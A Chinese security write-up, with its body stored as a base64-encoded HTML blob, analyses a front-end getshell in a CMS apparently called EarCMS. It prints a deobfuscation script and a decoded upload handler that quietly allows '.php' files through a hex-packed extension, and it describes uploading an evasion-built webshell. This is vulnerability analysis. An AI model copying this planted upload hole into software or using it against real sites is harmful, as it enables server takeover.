毫无套路的某cms前台getshell分析

PGgxIGlkPSJ0b2MtMCI+5YmN6KiAPC9oMT48cD7mr6vml6DlpZfot6/nmoTlnKhjbnZk5LiK55yL6KeB5LqG5LiA5Liq5ryP5rSe77yM5q+r5peg5aWX6Lev55qE5oOz552A5YiG5p6Q5LiA5LiLPC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8yNDI1LzkyYjQ1NDFiN2NmMzgwNTViY2MyMDYzMDM5ZWRiOGQ2LnBuZyIvPjwvcD48aDEgaWQ9InRvYy0xIj7kuIDohLjmh7XpgLznmoRHZXRzaGVsbDwvaDE+PHA+5a6Y572R5Zyw5Z2A77yaPGEgaHJlZj0iaHR0cDovL3d3dy5lYXJjbXMubmV0LyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly93d3cuZWFyY21zLm5ldC88L2E+PC9wPjxwPuWFiOWIsOWumOe9keaKiua6kOeggeS4i+i9veS4i+adpeaQreW7uuS4gOS4i++8jOe7k+aenOWPkeeOsOa6kOeggeaYr+a3t+a3hui/h+eahDwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMjQyNS8xZTA4ZWE4MjU3N2UyNDkwZGU3NzFmOWJlNzgxNmMzNC5wbmciLz48L3A+PHA+6L+Z56eN5re35reG5pa55byP5b6I5bi46KeB77yM6Kej5a+G5Lmf5LiN6Zq+77yM5Zug5Li65bey57uP55+l6YGT5piv5YmN5Y+w5paH5Lu25LiK5Lyg5a+86Ie055qEZ2V0c2hlbGzvvIzmiYDku6XmmoLml7bkuI3pnIDopoHlhajpg6jop6Plr4blh7rmnaXkuIDngrnngrnliIbmnpDvvIzmmoLml7blj6rlhbPms6jku5bnmoTkuIrkvKDngrnjgII8L3A+PHA+5q+r5peg5aWX6Lev55qE5pCt5bu65a6M5oiQ5ZCO5oiR5Lus55yL5Yiw5LqG5LuW6L+Z54Kr6YW355qE55WM6Z2iPC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8yNDI1L2ZmMzMxOWYyNDI4YmI2OTA1M2RhYjgxMjE4ZWQ3M2Y2LnBuZyIvPjwvcD48cD7kuI3lh7rmhI/lpJbnmoTlj5HnjrDkuoblhY3otLnms6jlhoznmoTlrZfmoLfvvIzlj5fliLDlkLjlvJUuanBnPC9wPjxwPuavq+aXoOWll+i3r+eahOazqOWGjOS6huS4gOS4qnRlc3TnlKjmiLc8L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzI0MjUvZmZmNzU0NjUwNDU1NzY1YzA3ZmI3ZmY4MTJhYmZmNGMucG5nIi8+PC9wPjxwPuavq+aXoOWll+i3r+eahOeZu+W9lTwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMjQyNS8wZGUxMzRjYmI1ZTU2Y2RkY2VkMDVlMjZjZGM0ODA4ZC5wbmciLz48L3A+PHA+5q+r5peg5aWX6Lev55qE5Y+R546w5LqG5LiA5Liq5aSn5aSn55qE5LiK5Lyg54K5PC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8yNDI1L2M3M2JlMjQ1NjIzYzNkNjM2ZmZkOTAxOWIwMTEwY2I1LnBuZyIvPjwvcD48cD7mr6vml6DlpZfot6/nmoTlvIDlkK9idXJwPC9wPjxwPuWkp+WutumDveaYr+aIkOW5tOS6uu+8jOWKqOS9nOiJsnFpbmfkuIDngrnvvIzlhYjkvKDkuKpzaGVsbOivleivlTwvcD48cD7mjo/lh7rkuobmiJHnmoTmnIDmlrDniYjlhY3mnYDkuIDliIfmlK/mjIFwaHA3LnjnmoRwaHAtd2Vic2hlbGwtdmVub200LjDnlJ/miJDkuobkuIDkuKrlhY3mnYDpqaw8L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzI0MjUvMDgwYmJmMjc4NDg5Y2QwMWVlY2QyYmRiNGM4ODliNjEucG5nIi8+PC9wPjxwPu+8n++8n++8nzwvcD48cD7pu5Hkurrpl67lj7fohLjvvIzkuIrkvKDmiJDlip/kuoblkJc8L3A+PHA+57+75LqG57+755uu5b2V5LiL55qE5paH5Lu25pel5pyf77yM5Y+R546wc2hlbGzourrlnKjkuoY8Y29kZT5cZGF0YVx0bXA8L2NvZGU+55uu5b2V5LiL77yM5ZCN5a2X5piv5pe26Ze05oizPC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8yNDI1LzlkZjc2MmMwOTE3ZDRiY2RmOWE4MDY3MTE1MzMzOTU5LnBuZyIvPjwvcD48cD7mtY/op4jlmajorr/pl67kuIDkuIs8L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzI0MjUvMWEzZGI2MGZkZjFmMTc3ZDZlNzhmMDdhYmQ0ZDkxMDcucG5nIi8+PC9wPjxwPu+8n++8n++8n+Wwsei/meagt+ayoeS6hu+8n++8n++8nzwvcD48cD7mnKzmnaXov5jku6XkuLrmnInku4DkuYjkuIrkvKDnu5Xov4fvvIzouqvku73kvKrpgKDvvIzlj43luo/liJfljJbku4DkuYjnmoTom4fnmq7mk43kvZzvvIznu5PmnpzlsLHnm7TmjqXmsqHov4fmu6TkuIrkvKDmiJDlip/kuobjgILjgILjgILjgII8L3A+PGgxIGlkPSJ0b2MtMiI+5peg5b+D5o+S5p+z6L+Y5piv5pyJ5oSP5Li65LmLPC9oMT48cD7lv4Pph4zmg7PnnYDov5nnp43msqHmnInlkI7nvIDov4fmu6TkuIrkvKDnmoRjbXPmmK/mgI7kuYjmtLvliLDnjrDlnKjnmoQ8L3A+PHA+5q+V56uf5piv56+H5YiG5p6Q77yM6L+Y5piv55yL55yL5LuW55qE5Luj56CB6YC76L6R5piv5oCO5LmI5YaZ55qEPC9wPjxwPuWPr+S7peeci+WIsOS4iuS8oOeCueaYr+i/meS4quaWh+S7tjwvcD48cD48Y29kZT4vc291cmNlL3BhY2svdXBsb2FkL2luZGV4LXVwbG9nLnBocDwvY29kZT48L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzI0MjUvMDg2YTZmYTdjOGRkYjI1OWUwMDFhNzZiZWRlNDU1ZDcucG5nIi8+PC9wPjxwPui/meenjeS7o+eggea3t+a3hueahOacgOeugOWNleeahOino+WvhuWKnuazleaYr+aKimV2YWzmlLnmiJBlY2hv77yM5LiA55u05pS55Yiw5pyA5ZCOPC9wPjxwPui/memHjOmZhOS4iuS4gOS4quaKhOadpeeahOino+WvhuiEmuacrDwvcD48cHJlPjw/cGhwCiRmaWxlbmFtZT0kX0dFVFsnZiddOy8v6KaB6Kej5a+G55qE5paH5Lu2CiRsaW5lcyZuYnNwOz0mbmJzcDtmaWxlKCRmaWxlbmFtZSk7Ly8wLDEsMuihjAoKLy/nrKzkuIDmrKFiYXNlNjTop6Plr4YKJGNvbnRlbnQ9IiI7CmlmKHByZWdfbWF0Y2goIi9PME8wMDAwTzBcKCcuKidcKS8iLCRsaW5lc1sxXSwkeSkpCnsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7JGNvbnRlbnQ9c3RyX3JlcGxhY2UoIk8wTzAwMDBPMCgnIiwiIiwkeVswXSk7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyRjb250ZW50PXN0cl9yZXBsYWNlKCInKSIsIiIsJGNvbnRlbnQpOwombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDskY29udGVudD1iYXNlNjRfZGVjb2RlKCRjb250ZW50KTsKfQovL+esrOS4gOasoWJhc2U2NOino+WvhuWQjueahOWGheWuueS4reafpeaJvuWvhumSpQokZGVjb2RlX2tleT0iIjsKaWYocHJlZ19tYXRjaCgiL1wpLCcuKicsLyIsJGNvbnRlbnQsJGspKQp7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyRkZWNvZGVfa2V5PXN0cl9yZXBsYWNlKCIpLCciLCIiLCRrWzBdKTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7JGRlY29kZV9rZXk9c3RyX3JlcGxhY2UoIicsIiwiIiwkZGVjb2RlX2tleSk7Cn0KLy/mn6Xmib7opoHmiKrlj5blrZfnrKbkuLLplb/luqYKJHN0cl9sZW5ndGg9IiI7CmlmKHByZWdfbWF0Y2goIi8sXGQqXCksLyIsJGNvbnRlbnQsJGspKQp7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyRzdHJfbGVuZ3RoPXN0cl9yZXBsYWNlKCIpLCIsIiIsJGtbMF0pOwombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDskc3RyX2xlbmd0aD1zdHJfcmVwbGFjZSgiLCIsIiIsJHN0cl9sZW5ndGgpOwp9Ci8v5oiq5Y+W5paH5Lu25Yqg5a+G5ZCO55qE5a+G5paHCiRTZWNyZXQ9c3Vic3RyKCRsaW5lc1syXSwkc3RyX2xlbmd0aCk7Ci8vZWNobyZuYnNwOyRTZWNyZXQ7CgovL+ebtOaOpei/mOWOn+WvhuaWh+i+k+WHugpmaWxlX3B1dF9jb250ZW50cyhydHJpbSgkZmlsZW5hbWUsJm5ic3A7Jy5waHAnKSZuYnNwOy4mbmJzcDsiX2RlY29kZS5waHAiLCZuYnNwOyI8P3BocFxuIiZuYnNwOy4mbmJzcDtiYXNlNjRfZGVjb2RlKHN0cnRyKAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDskU2VjcmV0LAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDskZGVjb2RlX2tleSwKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7J0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nCikpJm5ic3A7LiI/PiIpOwoKPz48L3ByZT48cD7op6Plr4bnu5PmnpzvvJo8L3A+PHByZT48P3BocAoKaWYoIWVtcHR5KCRfRklMRVMpKXsKJGZpbGVwYXJ0Jm5ic3A7PSZuYnNwO3BhdGhpbmZvKCRfRklMRVNbJ2FwcCddWyduYW1lJ10pOwokZXh0ZW5zaW9uJm5ic3A7PSZuYnNwO3N0cnRvbG93ZXIoJGZpbGVwYXJ0WydleHRlbnNpb24nXSk7CmlmKGluX2FycmF5KCRleHRlbnNpb24sYXJyYXkoJ2lwYScsJ2FwaycsJ21vYmlsZWNvbmZpZycscGFjaygnSConLDcwNjg3MCkpKSl7CiR0aW1lJm5ic3A7PSZuYnNwOyRfUE9TVFsndGltZSddOwpwcmVnX21hdGNoKCcvXihcZCtcLVxkKykkLycsJHRpbWUpJm5ic3A7b3ImbmJzcDtleGl0KCctMScpOwokZGlyJm5ic3A7PSZuYnNwOycuLi8uLi8uLi9kYXRhL3RtcC8nLiR0aW1lLicvJzsKaWYoIWlzX2RpcigkZGlyKSl7CkBta2RpcigkZGlyLDA3NzcsdHJ1ZSk7Cn0KJGZpbGUmbmJzcDs9Jm5ic3A7Jy4uLy4uLy4uL2RhdGEvdG1wLycuJHRpbWUuJy4nLiRleHRlbnNpb247CkBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snYXBwJ11bJ3RtcF9uYW1lJ10sJGZpbGUpOwppZigkZXh0ZW5zaW9uJm5ic3A7PT0mbmJzcDsnaXBhJyl7CmluY2x1ZGVfb25jZSZuYnNwOycuLi96aXAvemlwLnBocCc7CiR6aXAmbmJzcDs9Jm5ic3A7bmV3Jm5ic3A7UGNsWmlwKCRmaWxlKTsKJHppcC0+ZXh0cmFjdChQQ0xaSVBfT1BUX1BBVEgsJGRpcixQQ0xaSVBfT1BUX0JZX1BSRUcsJy9eUGF5bG9hZFwvLiouYXBwXC9JbmZvLnBsaXN0JC8nKTsKJHppcC0+ZXh0cmFjdChQQ0xaSVBfT1BUX1BBVEgsJGRpcixQQ0xaSVBfT1BUX0JZX1BSRUcsJy9eUGF5bG9hZFwvLiouYXBwXC9lbWJlZGRlZC5tb2JpbGVwcm92aXNpb24kLycpOwokemlwLT5leHRyYWN0KFBDTFpJUF9PUFRfUEFUSCwkZGlyLFBDTFpJUF9PUFRfQllfUFJFRywnL15QYXlsb2FkXC8uKi5hcHBcLyg/IS4qXC8pLioucG5nJC8nKTsKfQplY2hvJm5ic3A7InsnZXh0ZW5zaW9uJzonJGV4dGVuc2lvbicsJ3RpbWUnOickdGltZSd9IjsKfWVsc2V7CmVjaG8mbmJzcDsnLTEnOwp9Cn0KPz48L3ByZT48cD7lsLHmmK/kuIDkuKrkuIrkvKDlip/og708L3A+PHA+5L2G5piv5rOo5oSP55yL6L+Z5LiA5Y+l77yaPC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8yNDI1L2I3OGFiOGZjYzE1M2Q0Zjk1YjZiYTQxODQ3NjFjOTBhLnBuZyIvPjwvcD48cD7mhI/mgJ3mmK/mlofku7blkI7nvIDlv4XpobvmmK88Y29kZT5hcnJheSgnaXBhJywnYXBrJywnbW9iaWxlY29uZmlnJyxwYWNrKCdIKicsNzA2ODcwKTwvY29kZT7ov5nkuKrmlbDnu4Tph4zpnaLnmoTvvIzlkKbliJnlsLHkuIrkvKDlpLHotKXov5Tlm54tMTwvcD48cD7mr6vml6DlpZfot6/nmoTop6Plr4ZwYWNr55qE5YaF5a655ZCO5Y+R546w5pivPGNvZGU+cGhwPC9jb2RlPjwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMjQyNS84NjNmZmJmYmZkNDQ1ZDJjYjU0MzcxYmNlZjg4OGY2OS5wbmciLz48L3A+PHA+6L+Z5Lmf5bCx6Kej6YeK5LqG5Li65LuA5LmI55So5oi35Y+v5Lul55u05o6l5YmN5Y+w5LiK5Lyg5LiA5LiqcGhw5paH5Lu2PC9wPjxoMSBpZD0idG9jLTMiPuacgOWQjjwvaDE+PHA+5rWL6K+V55qE54mI5pys5Li65a6Y5pa55Y+R5biD55qE5pyA5paw54mIPC9wPjxwPuiHs+S6juS4uuS7gOS5iOS8muaVheaEj+WKoOS4iuS4gOS4qnBocOS4iuS8oOWQjue8gOW5tuS4lOi/mOeUqHBhY2vmt7fmt4bkuIDkuIvov5nkuKrlsLHkuI3lpb3or7TkuoY8L3A+PHA+5pyJ5Y+v6IO95piv5a6Y5pa55pyN5Yqh5Zmo6KKr6buR5a6i5o6n5Yi25Zyo5rqQ56CB6YeM5oqV5q+SPC9wPjxwPuS5n+acieWPr+iDveaYr+ayoeacieS5sOWumOaWueaOiOadg+S9v+eUqOWFjei0ueeJiOeahOivneWwsee7meS9oOWKoOS4iui/meagt+S4gOS4quWQjumXqDwvcD48cD7mtonlj4rliKnnm4rnmoTkuJzopb/vvIzlkrHkuZ/kuI3mlaLor7TvvIzlkrHkuZ/kuI3mlaLpl648L3A+PHA+PGJyLz48L3A+PHA+PGJyLz48L3A+PHA+6L2s6Ieq5YWI55+l56S+5Yy6PGJyLz48L3A+